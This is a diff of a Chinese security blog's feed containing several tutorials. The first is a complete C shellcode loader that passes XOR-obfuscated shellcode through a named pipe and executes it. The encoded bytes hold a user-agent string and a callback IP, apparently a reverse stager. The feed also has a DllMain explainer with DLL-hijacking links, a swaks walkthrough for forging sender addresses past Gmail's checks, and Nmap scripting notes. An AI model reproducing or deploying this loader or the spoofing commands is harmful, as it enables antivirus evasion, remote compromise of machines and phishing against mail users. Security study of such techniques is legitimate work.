style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;Windows.h&gt;</span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;stdio.h&gt;</span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;intrin.h&gt;</span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> +</span></span><span style="display:flex;"><span><span style="color:#75715e">#define BUFF_SIZE 1024 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#66d9ef">char</span> buf[] <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\xf6\xe2\x83\x0a\x0a\x0a\x6a\x83\xef\x3b\xd8\x6e\x81\x58\x3a\x81\x58\x06\x81\x58\x1e\x81\x78\x22\x05\xbd\x40\x2c\x3b\xf5\x3b\xca\xa6\x36\x6b\x76\x08\x26\x2a\xcb\xc5\x07\x0b\xcd\xe8\xfa\x58\x5d\x81\x58\x1a\x81\x48\x36\x0b\xda\x81\x4a\x72\x8f\xca\x7e\x40\x0b\xda\x5a\x81\x42\x12\x81\x52\x2a\x0b\xd9\xe9\x36\x43\x81\x3e\x81\x0b\xdc\x3b\xf5\x3b\xca\xa6\xcb\xc5\x07\x0b\xcd\x32\xea\x7f\xfe\x09\x77\xf2\x31\x77\x2e\x7f\xe8\x52\x81\x52\x2e\x0b\xd9\x6c\x81\x06\x41\x81\x52\x16\x0b\xd9\x81\x0e\x81\x0b\xda\x83\x4e\x2e\x2e\x51\x51\x6b\x53\x50\x5b\xf5\xea\x52\x55\x50\x81\x18\xe1\x8c\x57\x62\x64\x6f\x7e\x0a\x62\x7d\x63\x64\x63\x5e\x62\x46\x7d\x2c\x0d\xf5\xdf\x3b\xf5\x5d\x5d\x5d\x5d\x5d\x62\x30\x5c\x73\xad\xf5\xdf\xe3\x8e\x0a\x0a\x0a\x51\x3b\xc3\x5b\x5b\x60\x09\x5b\x5b\x62\x9a\x15\x0a\x0a\x59\x5a\x62\x5d\x83\x95\xcc\xf5\xdf\xe1\x7a\x51\x3b\xd8\x58\x62\x0a\x08\x6a\x8e\x58\x58\x58\x59\x58\x5a\x62\xe1\x5f\x24\x31\xf5\xdf\x83\xcc\x89\xc9\x5a\x3b\xf5\x5d\x5d\x60\xf5\x59\x5c\x62\x27\x0c\x12\x71\xf5\xdf\x8f\xca\x05\x8e\xc9\x0b\x0a\x0a\x3b\xf5\x8f\xfc\x7e\x0e\x83\xf3\xe1\x03\x62\xa0\xcf\xe8\x57\xf5\xdf\x83\xcb\x62\x4f\x2b\x54\x3b\xf5\xdf\x3b\xf5\x5d\x60\x0d\x5b\x5c\x5a\x62\xbd\x5d\xea\x01\xf5\xdf\xb5\x0a\x25\x0a\x0a\x33\xcd\x7e\xbd\x3b\xf5\xe3\x9b\x0b\x0a\x0a\xe3\xc3\x0b\x0a\x0a\xe2\x81\xf5\xf5\xf5\x25\x39\x7f\x65\x4f\x0a\x3f\x45\x2b\x5a\x2f\x4a\x4b\x5a\x51\x3e\x56\x5a\x50\x52\x3f\x3e\x22\x5a\x54\x23\x3d\x49\x49\x23\x3d\x77\x2e\x4f\x43\x49\x4b\x58\x27\x59\x5e\x4b\x44\x4e\x4b\x58\x4e\x27\x4b\x44\x5e\x43\x5c\x43\x58\x5f\x59\x27\x5e\x4f\x59\x5e\x27\x4c\x43\x46\x4f\x2b\x2e\x42\x21\x42\x20\x0a\x3f\x45\x2b\x5a\x2f\x0a\x5f\x79\x6f\x78\x27\x4b\x6d\x6f\x64\x7e\x30\x2a\x47\x65\x70\x63\x66\x66\x6b\x25\x3f\x24\x3a\x2a\x22\x69\x65\x67\x7a\x6b\x7e\x63\x68\x66\x6f\x31\x2a\x47\x59\x43\x4f\x2a\x33\x24\x3a\x31\x2a\x5d\x63\x64\x6e\x65\x7d\x79\x2a\x44\x5e\x2a\x3c\x24\x3b\x31\x2a\x5e\x78\x63\x6e\x6f\x64\x7e\x25\x3f\x24\x3a\x31\x2a\x48\x45\x43\x4f\x33\x31\x44\x46\x44\x46\x23\x07\x00\x0a\x3f\x45\x2b\x5a\x2f\x4a\x4b\x5a\x51\x3e\x56\x5a\x50\x52\x3f\x3e\x22\x5a\x54\x23\x3d\x49\x49\x23\x3d\x77\x2e\x4f\x43\x49\x4b\x58\x27\x59\x5e\x4b\x44\x4e\x4b\x58\x4e\x27\x4b\x44\x5e\x43\x5c\x43\x58\x5f\x59\x27\x5e\x4f\x59\x5e\x27\x4c\x43\x46\x4f\x2b\x2e\x42\x21\x42\x20\x0a\x3f\x45\x2b\x5a\x2f\x4a\x4b\x5a\x51\x3e\x56\x5a\x50\x52\x3f\x3e\x22\x5a\x54\x23\x3d\x49\x49\x23\x3d\x77\x2e\x4f\x43\x49\x4b\x58\x27\x59\x5e\x4b\x44\x4e\x4b\x58\x4e\x27\x4b\x44\x5e\x43\x5c\x43\x58\x5f\x59\x27\x5e\x4f\x59\x5e\x27\x4c\x43\x46\x4f\x2b\x2e\x42\x21\x42\x20\x0a\x3f\x45\x2b\x5a\x2f\x4a\x4b\x5a\x51\x3e\x56\x5a\x50\x52\x3f\x3e\x22\x5a\x54\x23\x3d\x49\x49\x23\x3d\x77\x2e\x4f\x43\x49\x4b\x58\x27\x59\x5e\x4b\x44\x4e\x4b\x58\x4e\x27\x4b\x44\x5e\x43\x5c\x43\x58\x5f\x59\x27\x5e\x4f\x59\x5e\x27\x4c\x43\x46\x4f\x2b\x2e\x42\x21\x42\x20\x0a\x3f\x45\x2b\x5a\x2f\x4a\x4b\x5a\x51\x0a\x62\xfa\xbf\xa8\x5c\xf5\xdf\x60\x4a\x62\x0a\x1a\x0a\x0a\x62\x0a\x0a\x4a\x0a\x5d\x62\x52\xae\x59\xef\xf5\xdf\x99\xb3\x0a\x0a\x0a\x0a\x0b\xd3\x5b\x59\x83\xed\x5d\x62\x0a\x2a\x0a\x0a\x59\x5c\x62\x18\x9c\x83\xe8\xf5\xdf\x8f\xca\x7e\xcc\x81\x0d\x0b\xc9\x8f\xca\x7f\xef\x52\xc9\xe2\xa3\xf7\xf5\xf5\x3b\x33\x38\x24\x3b\x3c\x32\x24\x3b\x3d\x3a\x24\x3b\x38\x32\x0a\x0a\x0a\x0a\x0a</span><span style="color:#e6db74">&#34;</span>; +</span></span><span style="display:flex;"><span>PTCHAR ptsPipeName <span style="color:#f92672">=</span> <span style="color:#a6e22e">TEXT</span>(<span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\\\\</span><span style="color:#e6db74">.</span><span style="color:#ae81ff">\\</span><span style="color:#e6db74">pipe</span><span style="color:#ae81ff">\\</span><span style="color:#e6db74">BadCodeTest&#34;</span>); +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>BOOL <span style="color:#a6e22e">RecvShellcode</span>(VOID){ +</span></span><span style="display:flex;"><span> HANDLE hPipeClient; +</span></span><span style="display:flex;"><span> DWORD dwWritten; +</span></span><span style="display:flex;"><span> DWORD dwShellcodeSize <span style="color:#f92672">=</span> <span style="color:#66d9ef">sizeof</span>(buf); +</span></span><span style="display:flex;"><span> <span style="color:#75715e">// 等待管道可用 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> <span style="color:#a6e22e">WaitNamedPipe</span>(ptsPipeName,NMPWAIT_WAIT_FOREVER); +</span></span><span style="display:flex;"><span> <span style="color:#75715e">// 连接管道 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> hPipeClient <span style="color:#f92672">=</span> <span style="color:#a6e22e">CreateFile</span>(ptsPipeName,GENERIC_WRITE,FILE_SHARE_READ,NULL,OPEN_EXISTING ,FILE_ATTRIBUTE_NORMAL,NULL); +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span>(hPipeClient <span style="color:#f92672">==</span> INVALID_HANDLE_VALUE){ +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">&#34;[+]Can&#39;t Open Pipe , Error : %d </span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>,<span style="color:#a6e22e">GetLastError</span>()); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> FALSE; +</span></span><span style="display:flex;"><span> } +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">WriteFile</span>(hPipeClient,buf,dwShellcodeSize,<span style="color:#f92672">&amp;</span>dwWritten,NULL); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span>(dwWritten <span style="color:#f92672">==</span> dwShellcodeSize){ +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">CloseHandle</span>(hPipeClient); +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">&#34;[+]Send Success ! Shellcode : %d Bytes</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>,dwShellcodeSize); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> TRUE; +</span></span><span style="display:flex;"><span> } +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">CloseHandle</span>(hPipeClient); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> FALSE; +</span></span><span style="display:flex;"><span>} +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#a6e22e">wmain</span>(<span style="color:#66d9ef">int</span> argc, TCHAR <span style="color:#f92672">*</span> argv[]){ +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> HANDLE hPipe; +</span></span><span style="display:flex;"><span> DWORD dwError; +</span></span><span style="display:flex;"><span> CHAR szBuffer[BUFF_SIZE]; +</span></span><span style="display:flex;"><span> DWORD dwLen; +</span></span><span style="display:flex;"><span> PCHAR pszShellcode <span style="color:#f92672">=</span> NULL; +</span></span><span style="display:flex;"><span> DWORD dwOldProtect; <span style="color:#75715e">// 内存页属性 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> HANDLE hThread; +</span></span><span style="display:flex;"><span> DWORD dwThreadId; +</span></span><span style="display:flex;"><span> <span style="color:#75715e">// 参考:https://docs.microsoft.com/zh-cn/windows/win32/api/winbase/nf-winbase-createnamedpipea +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> hPipe <span style="color:#f92672">=</span> <span style="color:#a6e22e">CreateNamedPipe</span>( +</span></span><span style="display:flex;"><span> ptsPipeName, +</span></span><span style="display:flex;"><span> PIPE_ACCESS_INBOUND, +</span></span><span style="display:flex;"><span> PIPE_TYPE_BYTE<span style="color:#f92672">|</span> PIPE_WAIT, +</span></span><span style="display:flex;"><span> PIPE_UNLIMITED_INSTANCES, +</span></span><span style="display:flex;"><span> BUFF_SIZE, +</span></span><span style="display:flex;"><span> BUFF_SIZE, +</span></span><span style="display:flex;"><span> <span style="color:#ae81ff">0</span>, +</span></span><span style="display:flex;"><span> NULL); +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span>(hPipe <span style="color:#f92672">==</span> INVALID_HANDLE_VALUE){ +</span></span><span style="display:flex;"><span> dwError <span style="color:#f92672">=</span> <span style="color:#a6e22e">GetLastError</span>(); +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">&#34;[-]Create Pipe Error : %d </span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>,dwError); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> dwError; +</span></span><span style="display:flex;"><span> } +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">CreateThread</span>(NULL,NULL,(LPTHREAD_START_ROUTINE)RecvShellcode,NULL,NULL,NULL); +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span>(<span style="color:#a6e22e">ConnectNamedPipe</span>(hPipe,NULL) <span style="color:#f92672">&gt;</span> <span style="color:#ae81ff">0</span>){ +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">&#34;[+]Client Connected...</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>); +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">ReadFile</span>(hPipe,szBuffer,BUFF_SIZE,<span style="color:#f92672">&amp;</span>dwLen,NULL); +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">&#34;[+]Get DATA Length : %d </span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>,dwLen); +</span></span><span style="display:flex;"><span> <span style="color:#75715e">// 申请内存页 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> pszShellcode <span style="color:#f92672">=</span> (PCHAR)<span style="color:#a6e22e">VirtualAlloc</span>(NULL,dwLen,MEM_COMMIT,PAGE_READWRITE); +</span></span><span style="display:flex;"><span> <span style="color:#75715e">// 拷贝内存 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> <span style="color:#a6e22e">CopyMemory</span>(pszShellcode,szBuffer,dwLen); +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">for</span>(DWORD i <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;i<span style="color:#f92672">&lt;</span> dwLen; i<span style="color:#f92672">++</span>){ +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">Sleep</span>(<span style="color:#ae81ff">50</span>); +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">_InterlockedXor8</span>(pszShellcode<span style="color:#f92672">+</span>i,<span style="color:#ae81ff">10</span>); +</span></span><span style="display:flex;"><span> } +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#75715e">// 这里开始更改它的属性为可执行 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> <span style="color:#a6e22e">VirtualProtect</span>(pszShellcode,dwLen,PAGE_EXECUTE,<span style="color:#f92672">&amp;</span>dwOldProtect); +</span></span><span style="display:flex;"><span> <span style="color:#75715e">// 执行Shellcode +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> hThread <span style="color:#f92672">=</span> <span style="color:#a6e22e">CreateThread</span>( +</span></span><span style="display:flex;"><span> NULL, <span style="color:#75715e">// 安全描述符 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> NULL, <span style="color:#75715e">// 栈的大小 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> (LPTHREAD_START_ROUTINE)pszShellcode, <span style="color:#75715e">// 函数 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> NULL, <span style="color:#75715e">// 参数 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> NULL, <span style="color:#75715e">// 线程标志 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> <span style="color:#f92672">&amp;</span>dwThreadId <span style="color:#75715e">// 线程ID +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> ); +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">WaitForSingleObject</span>(hThread,INFINITE); +</span></span><span style="display:flex;"><span> } +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>; +</span></span><span style="display:flex;"><span>} +</span></span></code></pre></td></tr></table> +</div> +</div><p>本实例主要是通过一个线程函数充当一个管道客户端,使用管道客户端连接管道,发送Shellcode,然后由管道服务端接收,并反混淆,运行木马线程。</p>DllMain与rundll32详解https://payloads.online/archivers/2019-10-02/1/Wed, 02 Oct 2019 00:00:00 +0000https://payloads.online/archivers/2019-10-02/1/<h2 id="0x00-dllmain">0x00 DllMain</h2> <p>对于动态链接库,DllMain是一个<strong>可选的</strong>入口函数。</p> <h3 id="程序调用dll中的导出函数的流程">程序调用DLL中的导出函数的流程</h3> <ul> @@ -1961,7 +3830,67 @@ </span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> _In_ DWORD fdwReason, <span style="color:#75715e">// 调用原因 </span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> _In_ LPVOID lpvReserved <span style="color:#75715e">// 隐式加载和显式加载 </span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>); -</span></span></code></prSwaks伪造邮件https://payloads.online/archivers/2019-05-09/1/Thu, 09 May 2019 00:00:00 +0000https://payloads.online/archivers/2019-05-09/1/<h2 id="0x00-swaks">0x00 swaks</h2> +</span></span></code></pre></td></tr></table> +</div> +</div><h2 id="0x01-dllmain调用原因">0x01 DllMain调用原因</h2> +<p>其中<code>fdwReason</code>用来表示Dll被调用的状态,一共分为四种:</p> +<ul> +<li>DLL_PROCESS_ATTACH 被进程加载</li> +<li>DLL_PROCESS_DETACH 被进程释放</li> +<li>DLL_THREAD_ATTACH 被线程加载</li> +<li>DLL_THREAD_DETACH 被线程释放</li> +</ul> +<p>在DllMain中通常为了捕获DLL被调用的方式来进行某些动作:</p> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 2 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 3 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 4 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 5 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 6 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 7 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 8 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 9 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">10 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">11 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">12 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">13 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">14 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">15 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">16 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">17 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">18 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">19 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span>BOOL APIENTRY <span style="color:#a6e22e">DllMain</span>( HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) +</span></span><span style="display:flex;"><span>{ +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">switch</span> (ul_reason_for_call) +</span></span><span style="display:flex;"><span> { +</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">case</span> DLL_PROCESS_ATTACH: +</span></span><span style="display:flex;"><span>   printf(<span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">process attach of dll&#34;</span>); +</span></span><span style="display:flex;"><span>   <span style="color:#66d9ef">break</span>; +</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">case</span> DLL_THREAD_ATTACH: +</span></span><span style="display:flex;"><span>   printf(<span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">thread attach of dll&#34;</span>); +</span></span><span style="display:flex;"><span>   <span style="color:#66d9ef">break</span>; +</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">case</span> DLL_THREAD_DETACH: +</span></span><span style="display:flex;"><span>   printf(<span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">thread detach of dll&#34;</span>); +</span></span><span style="display:flex;"><span>   <span style="color:#66d9ef">break</span>; +</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">case</span> DLL_PROCESS_DETACH: +</span></span><span style="display:flex;"><span>   printf(<span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">process detach of dll&#34;</span>); +</span></span><span style="display:flex;"><span>   <span style="color:#66d9ef">break</span>; +</span></span><span style="display:flex;"><span> } +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> TRUE; +</span></span><span style="display:flex;"><span>} +</span></span></code></pre></td></tr></table> +</div> +</div><h2 id="0x02-那些用于测试dll劫持的dllmain-poc">0x02 那些用于测试DLL劫持的DllMain POC</h2> +<ul> +<li><a href="https://cxsecurity.com/issue/WLB-2018090232">https://cxsecurity.com/issue/WLB-2018090232</a></li> +<li><a href="https://cxsecurity.com/issue/WLB-2015010114">https://cxsecurity.com/issue/WLB-2015010114</a></li> +</ul> +<p>在测试很多DLL劫持的漏洞时,都喜欢用DllMain,是因为DllMain被进程加载或者释放都会自动调用运行。</p>Swaks伪造邮件https://payloads.online/archivers/2019-05-09/1/Thu, 09 May 2019 00:00:00 +0000https://payloads.online/archivers/2019-05-09/1/<h2 id="0x00-swaks">0x00 swaks</h2> <p>swaks - Swiss Army Knife SMTP, the all-purpose smtp transaction tester.</p> <p>swaks堪称SMTP协议的瑞士军刀,使用它我们可以灵活的操作SMTP协议报文,这篇文章主要是记录一下我是如何伪造一封邮件绕过gmail的检测。</p> <p>通常最简单的发送命令:</p> @@ -1983,7 +3912,34 @@ <p>这个是从evi1cg师傅那里看到的,smtp2go主要是相当于邮件托管,可以分发子账户进行发送。</p> <p>地址:https://support.smtp2go.com/hc/en-gb</p> <p>(邮箱注册)普通账户可以免费发1000封邮件。</p> -<p>分配好账户后,可以通过swaks进行登录发送邮件:</p>Nmap扩展开发(一)https://payloads.online/archivers/2019-04-24/1/Wed, 24 Apr 2019 00:00:00 +0000https://payloads.online/archivers/2019-04-24/1/<h2 id="0x00-前言">0x00 前言</h2> +<p>分配好账户后,可以通过swaks进行登录发送邮件:</p> +<p> + <img src="https://images.payloads.online/750c7a8a-4f5f-11ec-889d-00d861bf4abb.png" alt="2019-05-09-14-28-50"> + +</p> +<h2 id="0x02-swaks发送邮件">0x02 swaks发送邮件</h2> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>swaks --to rvn0xsy@gmail.com --from admin@qq.com --ehlo gmail.com --body hello --server mail.smtp2go.com -p <span style="color:#ae81ff">2525</span> -au &lt;USER&gt; -ap &lt;PASS&gt; +</span></span></code></pre></td></tr></table> +</div> +</div><p>但是上面这个邮件无法绕过SPF。</p> +<h2 id="0x03-spf验证原理">0x03 SPF验证原理</h2> +<p>如果mail.smtp2go.com是我的邮件服务器,那么gmail服务器收到的源IP也肯定是mail.smtp2go.com的IP。</p> +<p>gmail会校验邮件发送者的IP是否存在于smtp.from的域名spf配置列表里。</p> +<p>而上面这条命令:</p> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>swaks --to rvn0xsy@gmail.com --from admin@qq.com --ehlo gmail.com --body hello --server mail.smtp2go.com -p <span style="color:#ae81ff">2525</span> -au &lt;USER&gt; -ap &lt;PASS&gt; +</span></span></code></pre></td></tr></table> +</div> +</div><p>smtp.from就是admin@qq.com,和mail.smtp2go.com的IP肯定不同,所以SPF校验失败,而校验失败的邮件,会有很高的几率被扔到垃圾邮件中。</p>Nmap扩展开发(一)https://payloads.online/archivers/2019-04-24/1/Wed, 24 Apr 2019 00:00:00 +0000https://payloads.online/archivers/2019-04-24/1/<h2 id="0x00-前言">0x00 前言</h2> <p>PS :如果你不知道你是否需要学习这个技术,那么我可以先告诉你Nmap能够做什么:</p> <ul> <li>网络结构画像</li> @@ -2026,7 +3982,21 @@ <li>vuln 漏洞检测</li> </ul> <h2 id="0x03-nmap扩展脚本铺垫">0X03 Nmap扩展脚本铺垫</h2> -<p>相信网上已经有很多文章去写如何使用扩展脚本了,这块我不准备过多的铺垫。</p>Nmap扩展开发(三)https://payloads.online/archivers/2019-04-24/3/Wed, 24 Apr 2019 00:00:00 +0000https://payloads.online/archivers/2019-04-24/3/<h2 id="0x01-扩展脚本对象-主机">0X01 扩展脚本对象-主机</h2> +<p>相信网上已经有很多文章去写如何使用扩展脚本了,这块我不准备过多的铺垫。</p> +<p>主要介绍如下几点:</p> +<ul> +<li>Nmap扩展脚本用途</li> +<li>Nmap扩展脚本使用方法</li> +<li>如何查看Nmap扩展脚本的Usage(使用方法)</li> +</ul> +<h3 id="0x03-nmap扩展脚本用途">0X03 Nmap扩展脚本用途</h3> +<p>Nmap扩展脚本能够帮助我们实现更多定制化的需求扫描、结果的处理、漏洞的检测、漏洞的利用等。在0x02中已经列出了扩展脚本的分类,根据说明我们能理解一个大概,这些分类代表了Nmap各个方面的能力。</p> +<h3 id="0x03-nmap扩展脚本使用方法">0x03 Nmap扩展脚本使用方法</h3> +<p>在很早之前,我写过一篇科普文章,主要介绍了Nmap的脚本分类、使用方法,链接:</p> +<p><a href="http://zhuanlan.zhihu.com/p/26618074">http://zhuanlan.zhihu.com/p/26618074</a></p> +<p>本章没有太多概念性的东西,希望读者能够边看边做。首先设定一个需求,我有一个需要搜集某个IP或某组IP所有开放HTTP服务的中间件信息。那么Nmap有一个脚本是可以直接满足我们需求的:</p> +<p><code>http-server-header.nse</code></p> +<p>扫描命令:<code>nmap --script=http-server-header &lt;TARGET&gt;</code></p>Nmap扩展开发(三)https://payloads.online/archivers/2019-04-24/3/Wed, 24 Apr 2019 00:00:00 +0000https://payloads.online/archivers/2019-04-24/3/<h2 id="0x01-扩展脚本对象-主机">0X01 扩展脚本对象-主机</h2> <p>在进行主机扫描的时候会执行hostrule这个函数,从以往的nmap扩展脚本代码中我们都可以发现在hostrule这个函数中做了一些针对host操作的动作。</p> <p>hostrule有一个参数,变量名叫host,我们可以把它理解为一个对象,在这里称之为对象是为了方便读者理解,在lua中实际它的数据类型是一个多维的table(表),具有很多属性。由于这些rule函数都是被动调用的,我们只能在函数内部对形参进行操作了。</p> <p>参考:https://nmap.org/book/nse-api.html</p> @@ -2056,7 +4026,24 @@ </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 